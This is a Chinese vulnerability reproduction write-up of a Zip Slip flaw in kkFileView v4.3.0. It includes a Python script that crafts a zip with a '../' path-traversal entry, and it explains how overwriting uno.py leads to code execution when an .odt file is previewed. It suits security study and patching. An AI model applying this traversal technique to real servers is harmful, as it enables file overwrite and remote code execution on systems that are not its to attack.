漏洞描述
kkFileView由于前台上传功能在处理压缩包时,会获取文件名及其目录,导致出现了Zip Slip漏洞。这使得攻击者可上传包含恶意代码的压缩包并覆盖系统文件(uno.py),随后通过调用被覆盖的文件实现远程代码执行。
1、环境搭建:
复现版本:v4.3.0
https://github.com/kekingcn/kkFileView/archive/refs/tags/v4.3.0.zip
使用idea搭建运行:
2、漏洞复现:
参看POC:
https://github.com/luelueking/kkFileView-v4.3.0-RCE-POC
构造恶意压缩包:
import zipfile if __name__ == "__main__": try: binary1 = b'test' binary2 = b'test' zipFile = zipfile.ZipFile("test.zip", "a", zipfile.ZIP_DEFLATED) info = zipfile.ZipInfo("test.zip") zipFile.writestr("test", binary1) zipFile.writestr("../../../../../../../../../../../../../../../../../../../tmp/flag", binary2) zipFile.close() except IOError as e: raise e
环境为本地win10搭建,需要4个../,与POC不一致。
运行poc——上传poc生成的zip文件——点预览:
成功追加恶意内容:
最后上传任意.odt后缀的文件并预览:
成功执行!!!
3、漏洞分析:
问题出在预览文件的地方,在预览文件控制器断点
跟进filePreviewHandle
跟进unRar方法:问题就是出在unRar上;
由于unRar方法在文件落地的时候没有对../过滤,导致我们制作的uno.py的内容写进了系统的uno.py中。
这只是写入了恶意内容,根据大佬的方法,系统在odt文件转pdf时(预览odt文件的时候)会调用uno.py文件,进而会执行写入的恶意代码。
原文始发于微信公众号(fly的渗透学习笔记):kkfileview远程代码执行漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论